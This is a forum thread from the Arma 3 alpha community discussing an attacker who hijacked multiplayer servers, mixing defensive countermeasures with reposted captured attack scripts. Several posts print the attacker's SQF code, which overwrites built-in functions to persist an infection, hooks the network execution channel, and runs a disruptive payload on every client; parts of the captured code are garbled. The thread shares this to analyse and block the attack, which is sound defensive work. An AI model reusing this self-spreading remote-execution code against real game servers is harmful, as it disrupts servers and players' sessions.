Jump to content
Sign in to follow this  
Richie

Hacked by a player with no ID

Recommended Posts

Then why don't you and BIS provide that information to Valve and have his Steam ID banned. What this individual is doing is in direct violation of Valve's TOS and thus should have his Steam ID banned.

This individual would learn a hard lesson when Steam doesn't allow him to log in anymore...

I can do it anytime if BI asks me, actually he bought second copy of arma 3 alpha and hacked my server , but again I got his second ID, hahaha, he is pathetic. I' m waiting for him again. regards, pawel

Share this post


Link to post
Share on other sites
... even if the name addPublicVariableEventhandler suggest something else,

you can't have more then one EH on the same PV at the same time, so it overwrites.

Just try it out ...

fred, on which research do you base this knowledge, please provide a link...

mine bases on my experience and this discussion: http://forums.bistudio.com/showthread.php?140249-Removing-an-addPublicVariableEventHandler

Simples...

Share this post


Link to post
Share on other sites

Pawel, do you have records of the code, which this guy is executing?

Share this post


Link to post
Share on other sites

ofc he is pathetic, all these trollin nerds are, they need a life

Share this post


Link to post
Share on other sites
fred, on which research do you base this knowledge, please provide a link...

mine bases on my experience and this discussion: http://forums.bistudio.com/showthread.php?140249-Removing-an-addPublicVariableEventHandler

Simples...

raggamafia, i used it a lot in my "dayz performance improvement projects".

(A few months ago, as a result of my "research" i reduced the login time on full dayz servers from up to 20 minutes to a few seconds.)

It was here necessary, to replace a lot of PVEH by owerwriting, because the location of the original defines of this PVEH was not accessible.

DIY Example:

"PV" addPublicVariableEventHandler {diag_log ["i am owerwritten"];};

"PV" addPublicVariableEventHandler {diag_log ["i did owerwrite"];};

if you now trigger with:

PV = 1; publicVariable "PV";

you will find only "i did owerwrite" in your .rpt files.

Please try it out.

Edited by Fred41
example added

Share this post


Link to post
Share on other sites
ofc he is pathetic, all these trollin nerds are, they need a life

..or maybe he will be the cause of making ARMA more secure than before.

Although our team's server has been f@cked along with the other servers AND my nervous system..Activists aren't Terrorists.

Some times you must MAKE people listen..for the general player-population benefit.

This above may be sound "irritating" to some ears..but ARMA 3 will ( has already) brought people from other games

that care ONLY for PvP MP ..and making the game "secure" is top priority for BIS money and for us PvP players/fairplay..

Share this post


Link to post
Share on other sites
..or maybe he will be the cause of making ARMA more secure than before.

Although our team's server has been f@cked along with the other servers AND my nervous system..Activists aren't Terrorists.

Some times you must MAKE people listen..for the general player-population benefit.

This above may be sound "irritating" to some ears..but ARMA 3 will ( has already) brought people from other games

that care ONLY for PvP MP ..and making the game "secure" is top priority for BIS money and for us PvP players/fairplay..

OK, lets NUKE few cities and then "maybe" people will see the war is pointless..., we can start with your town/city first, are u ready ?

Share this post


Link to post
Share on other sites
OK, lets NUKE few cities and then "maybe" people will see the war is pointless..., we can start with your town/city first, are u ready ?

My answer lies to the bottom-right of my signature's image..

Edited by GiorgyGR

Share this post


Link to post
Share on other sites

if (isServer) then {BIS_FNC_MP = 0; BIS_fnc_MPexec = 0} else {BIS_fnc_MPexec = 0; BIS_FNC_MP = 0; setVehicleInit = 0; processInitCommands = 0;};

setVehicleInit and processInitCommands is the old way of executing code over the network and was used by many hacks in the past when BIS_FNC_MP did not exist. The code above disables some functions on the server and the rest after "else" on the client. Make sure it´s compatible with your running mission.

Share this post


Link to post
Share on other sites

with missionNamespace do     
{    lehermit = {};
	leflagger = {};
	lehitter = {};
	uiNamespace setVariable ['hermit', {}];
	uiNamespace setVariable ['flagger', {}];
	uiNamespace setVariable ['hitter', {}];
	uiNamespace setVariable ['hermitt', lehermitt];
	uiNamespace setVariable ['flaggerr', leflaggerr];
	uiNamespace setVariable ['hitterr', lehitterr];
	uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitterr')];
	uiNamespace setVariable ['BIS_fnc_infoText', (uinamespace getvariable 'hitterr')];
	uiNamespace setVariable ['bis_fnc_showNotification', (uinamespace getvariable 'hitterr')];
	[] spawn (uinamespace getvariable 'hermitt'); 
};

There you go, he's PVAR'ing his variables over the network, then using BIS_fnc_MP to tell everyone to execute one of the variables that does that. Each variable contains bits of code that executes and saves to the uiNamespace to carry a infection state over and the functions he is over writing are pretty much called every single time you use any type of GUI stuff like for example opening ESC, editing your sound / video options, etc. Don't think about trying to block those variables though because he will just change them with excessive r's or t's or even put numbers at the end once he notices it doesn't work. (I kind of did a test of theory yesterday and it stopped him in his tracks, he actually had to look at the mission file code to figure out what I did.).

One way to clear people of the infection state is:

[1] execVM "\a3\functions_f\Debug\fn_recompile.sqf";

It will recompile all of the BIS functions, I used it on mission start. It generally did a good job clearing people of a infected state, but since our server was the only non-password server he specifically came in and kept trying to execute his code, which is fine because by clearing the infection state we're just back to square one where he's a typical script kiddie.

As further protection methods I recompiled a custom BIS_fnc_MP and BIS_fnc_MPexec <-- that one tells clients to execute what is sent by BIS_fnc_MP_packet and filtered the passing text in the function that he is telling everyone to execute, if it contains uiNamespace or Namespace in general it would flag it and wouldn't pass it to the execution phase. Regardless of that there are other methods to execute code on everyone and the oldest method is setVehicleInit, so even with all of those steps taken he will result to other attempts to make everyone execute his malicious code hidden in variables sent over the network.

I generally don't care about what code he is executing just the infection process. By defeating the infection process you defeat his main goal, which is shutting down a mass amount of servers at once, something that can't be done without such a method. Once infection is patched (which it will) he will be left back to square one as a script kiddie. I must commend him for finding such an exploit but I do not respect the manner he is taking to express this exploit, if someone truly wanted something patch they would contact the developers to have it fixed, From my testing last night he isn't about making the game more secure, that's just messages he is throwing around. He is nothing more then a destructive script kiddie that is only out to see the destruction of the game and ruin it for everyone else. It's what he feeds off of.

If you want to further debug what he is doing, the best method is to have the ability to execute code / debug in the mission, the fastest way to detect what he is sending is to add a publicvariableventhandler to BIS_fnc_MP_packet and have it hint out and diag_log it to your RPT, then once you see the variable, view the contents of it, then view the contents of the uiNamespace variables he is setting.

Edited by Tonic-_-

Share this post


Link to post
Share on other sites
OK, lets NUKE few cities and then "maybe" people will see the war is pointless..., we can start with your town/city first, are u ready ?

I'm not condoning this "nuke everything to make people listen" behaviour, but it's hard to deny its effectiveness in this case. Arma's scripting engine has been full of security holes since the beginning (>10 years), which is even more painfully obvious now that the public MP population has grown so large and not even BattlEye is around to provide some level of protection. The fact that hacks like this one are even possible just shows how BI have been completely ignoring the gaping security issues in the scripting engine; in fact they even made the problem worse with the addition of persistent global scripts that can be overwritten on a whim by any random script kiddie.

Personally, I'm disappointed that it took a mass outrage to finally make them to see the problem and start doing something about it.

Share this post


Link to post
Share on other sites

Hello,

If you are looking to play Wasteland hack free please message me on Skype: AnusPacker for the password and host name. Yes I know it's a gay name but I need one nobody has so I get your messages not someone else. So please come play this server wont be up forever!!!

Share this post


Link to post
Share on other sites

Well new DEV branch went fine for an hour or so with 30players - then all back to old shiat.....

Share this post


Link to post
Share on other sites
Dorph;2381813']Well new DEV branch went fine for an hour or so with 30players - then all back to old shiat.....

FFS :( Oh well time to find another game to play.

Thanks for the heads up Dorph :)

Share this post


Link to post
Share on other sites

If you want to further debug what he is doing, the best method is to have the ability to execute code / debug in the mission, the fastest way to detect what he is sending is to add a publicvariableventhandler to BIS_fnc_MP_packet and have it hint out and diag_log it to your RPT, then once you see the variable, view the contents of it, then view the contents of the uiNamespace variables he is setting.

... very well idea ...

"BIS_fnc_MP_packet" addPublicVariableEventHandler {diag_log [str(_this select 1)];};

This way we can expect some cheating code in servers .rpt file (assuming a mission without regular use of BIS_fnc_MP).

Edited by Fred41

Share this post


Link to post
Share on other sites

Hey guys,

it seems like I got a big problem here.

Okay, we all have our problems these days but this is strange:

Haven't you all said, restarting ArmA should kinda stop this 'infection'?

Well, I tried it, after that hack-message appeared on a server I was playing on.

This is what I've done:

-Quit ArmA

-Restarted Steam

-Connected to an empty(!!!) server to see what happens and guess what?

After a few minutes (no other player joined) I got that lovely hack-message again.

This is kinda scary :confused:

Share this post


Link to post
Share on other sites

Once a server is "infected", it will "infect" any players who play any mission on it pretty easily, even if it becomes empty. Only way to clean it is to restart the server completely (or run a mission that re-compiles the BIS functions).

Share this post


Link to post
Share on other sites
with missionNamespace do     
{    lehermit = {};
	leflagger = {};
	lehitter = {};
	uiNamespace setVariable ['hermit', {}];
	uiNamespace setVariable ['flagger', {}];
	uiNamespace setVariable ['hitter', {}];
	uiNamespace setVariable ['hermitt', lehermitt];
	uiNamespace setVariable ['flaggerr', leflaggerr];
	uiNamespace setVariable ['hitterr', lehitterr];
	uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitterr')];
	uiNamespace setVariable ['BIS_fnc_infoText', (uinamespace getvariable 'hitterr')];
	uiNamespace setVariable ['bis_fnc_showNotification', (uinamespace getvariable 'hitterr')];
	[] spawn (uinamespace getvariable 'hermitt'); 
};

There you go, he's PVAR'ing his variables over the network, then using BIS_fnc_MP to tell everyone to execute one of the variables that does that. Each variable contains bits of code that executes and saves to the uiNamespace to carry a infection state over and the functions he is over writing are pretty much called every single time you use any type of GUI stuff like for example opening ESC, editing your sound / video options, etc.

Can you see the code itself that he is putting into the variables?

Share this post


Link to post
Share on other sites
Can you see the code itself that he is putting into the variables?

with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; player setvehicleinit " with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; "; with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; �; };

if !(ismultiplayer) then {

["BIS_fnc_MP_packet",BIS_ [] spawn { player allowDamage false; (vehicle player) setVelocity [0, 0, 100]; sleep 1; while {sleep 0.1; true} do { velVector = [getposASL player, [2000, 5500, 400]] call BIS_fnc_vectorFromXToY; velVector = [velVector, 40] call BIS_fnc_vectorMultiply; (vehicle player) setVelocity velVector; }; }; _layer = (floor(random 999999)); _ltxt = 'You thought you could get rid of me? Stop trying to play, and go pester BIS to get their act together, and plug this leaky bucket of a game. VE, mute 3.'; _layer cutText [_ltxt, 'PLAIN DOWN', 1]; _layer cutFadeOut 4096; call compile format ["%1 = '%2';", _layer, _ltxt]; [] spawn { player allowDamage false; (vehicle player) setVelocity [0, 0, 100]; sleep 1; while {sleep 0.1; true} do { velVector = [getposASL player, [2000, 5500, 400]] call BIS_fnc_vectorFromXToY; velVector = [velVector, 40] call BIS_fnc_vectorMultiply; (vehicle player) setVelocity velVector; }; }; _layer = (floor(random 999999)); _ltxt = 'You thought you could get rid of me? Stop trying to play, and go pester BIS to get their act together, and plug this leaky bucket of a game. VE, mute 3.'; _layer cutText [_ltxt, 'PLAIN DOWN', 1]; _layer cutFadeOut 4096; call compile format ["%1 = '%2';", _layer, _ltxt];

Share this post


Link to post
Share on other sites

... because as of today this Alpha has been rendered completely unplayable by hackers and viruses on the servers.

I DEMAND TO KNOW WTF YOU ARE DOING ABOUT IT BECAUSE I DID NOT SPEND 20 QUID TO FIX DAMAGE CAUSED BY IDIOTS AND PISS-POOR SECURITY ON THE SERVERS.

Come on. Stop ignoring these posts and give us answers !

Share this post


Link to post
Share on other sites

http://forums.bistudio.com/showthread.php?153686-Hacked-by-a-player-with-no-ID/page37

You paid (quite cheap) for the full game that will be released later in this year and have the PRIVILEGE to take part in the Alpha, which main purpose is fixes and bughunting. With no anti-cheat and ever changing codes, that happens. Accept that and know that Devs are working in that already.

And use search.

Share this post


Link to post
Share on other sites

It should never have got to this situation in the first place. I've been in this Alpha since day one and hacker problems have worsened daily. "Yeah it's Alpha dude" but it's also open source and should have been envisaged by someone.

PS what is Steam doing about this ? and if the answere is "nothing" what is the point of Steam unless its just there as another retail outlet for an unplayable, albeit Alpha release game. I remember good old days when you didn't have to pay to help out the developers you used to get invited

Share this post


Link to post
Share on other sites

As much as I hate to post on here and give this guy the satisfaction of another post about him. Got one statement and one question.

Statement:

Everyone is claiming that BI has dropped the ball and messed up big time, with this game series. Its too easy for script kiddies to hack and its destroying servers. Is that not to be expected? This is after all an alpha> No security in place to stop these idiots hacking our servers. Other than the $$ pricetag to get access. Kept most of the idiots at bay. Well you say its too easy to hack, I agree. But I dont believe that is the cause of the problem. ARMA series has been from the start a modder's paradise. It is so simple that even an idiot like myself has been able to learn enough about scripting to be able to mess arround with maps adding functions to improve the overall experience. Thats what ARMA is about. The only way BI could seriously prevent these sort of easy hacks is to lock down the game. Ban all use of custom scripts/mods and basically give the middle finger to the entire arma community saying "You now play what we tell you to, try and touch our game, and you will be in court before you finger hits enter". Easy modding makes a great game, sadly for every 10-100-1000 people who will try to do something creative with this power, at least 1-2 will try to screw it up. Thats life. You want iron clad security, say good-bye to modding and user made content. You want a great game, you have to accept that some one will try to bring it down. Besides it's only a matter of time untill BE gets released for arma 3.

Now if it should turn out that I am wrong about the above and there is no direct link between easy to learn scripting and endless modability making it easier for the few hackers to have their childish fun, I will appologise to everyone on this forum, for my arrogence.

Now for my question.

Has their been any official word from BI or any of the developers as to when they will be able to release some sort of security for our servers? Or any mention of how he manages to get this content into the game? i.e if i put custom file size to 0 (zero) will that stop the hack being uplaoded from infected players?

Share this post


Link to post
Share on other sites

I assume there are some bits missing from each section?

Section 1:

with missionNamespace do 
{ 
[] spawn 
{ 
	with missionNamespace do 
	{ 
		while {true} do 
		{ 
			'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; 
			BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; 
			bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; 
			_recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; 
			_hitter = (uinamespace getvariable 'hitter6'); 
			uiNamespace setVariable ['bis_fnc_recompile', 
			compile format ['%1 [] call %2;', _recomp, _hitter]]; 
			uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; 
		}; 
	}; 
}; 
}; 
player setvehicleinit " with missionNamespace do 
{ 
[] spawn 
{ 
	with missionNamespace do 
	{ 
		while {true} do 
		{ 
			'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; 
			BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; 
			bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; 
			_recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; 
			_hitter = (uinamespace getvariable 'hitter6'); 
			uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; 
			uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; 
		}; 
	}; 
}; 
}; "; 
with missionNamespace do 
{ 
[] spawn 
{ 
	with missionNamespace do 
	{ 
		while {true} do 
		{ 
			'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; 
			BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; 
			bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; 
			_recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; 
			_hitter = (uinamespace getvariable 'hitter6'); 
			uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; 
			uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; 
		}; 
	}; 
}; 
}; 
with missionNamespace do 
{ 
[] spawn 
{ 
	with missionNamespace do 
	{ 
		while {true} do 
		{ 
			'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; 
			BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; 
			bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; 
			_recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; 
			_hitter = (uinamespace getvariable 'hitter6'); 
			uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; 
			uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; 
		}; 
	}; 
}; 
}; "; 
}; 

Section 2

if !(ismultiplayer) then 
{
["BIS_fnc_MP_packet",
BIS_ [] spawn 
{ 
	player allowDamage false;
	(vehicle player) setVelocity [0, 0, 100];
	sleep 1;
	while {sleep 0.1; true} do 
	{ 
		velVector = [getposASL player, [2000, 5500, 400]] call BIS_fnc_vectorFromXToY;
		velVector = [velVector, 40] call BIS_fnc_vectorMultiply;
		(vehicle player) setVelocity velVector; 
	}; 
}; 
_layer = (floor(random 999999)); 
_ltxt = 'You thought you could get rid of me? Stop trying to play, and go pester BIS to get their act together, and plug this leaky bucket of a game. VE, mute 3.'; 
_layer cutText [_ltxt, 'PLAIN DOWN', 1]; 
_layer cutFadeOut 4096; call compile format ["%1 = '%2';", _layer, _ltxt]; 
[] spawn 
{ 
	player allowDamage false; (vehicle player) setVelocity [0, 0, 100]; 
	sleep 1; 
	while {sleep 0.1; true} do 
	{ 
		velVector = [getposASL player, [2000, 5500, 400]] call BIS_fnc_vectorFromXToY; 
		velVector = [velVector, 40] call BIS_fnc_vectorMultiply; 
		(vehicle player) setVelocity velVector; 
	}; 
}; 
_layer = (floor(random 999999)); 
_ltxt = 'You thought you could get rid of me? Stop trying to play, and go pester BIS to get their act together, and plug this leaky bucket of a game. VE, mute 3.'; 
_layer cutText [_ltxt, 'PLAIN DOWN', 1]; 
_layer cutFadeOut 4096; 
call compile format ["%1 = '%2';", _layer, _ltxt];

Share this post


Link to post
Share on other sites

check my tweet from today ... ;) i'm sure it will not please most, create more questions than answers and someone burn my voodoo doll again but I hope it's more than nothing ;)

Share this post


Link to post
Share on other sites

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now
Sign in to follow this  

×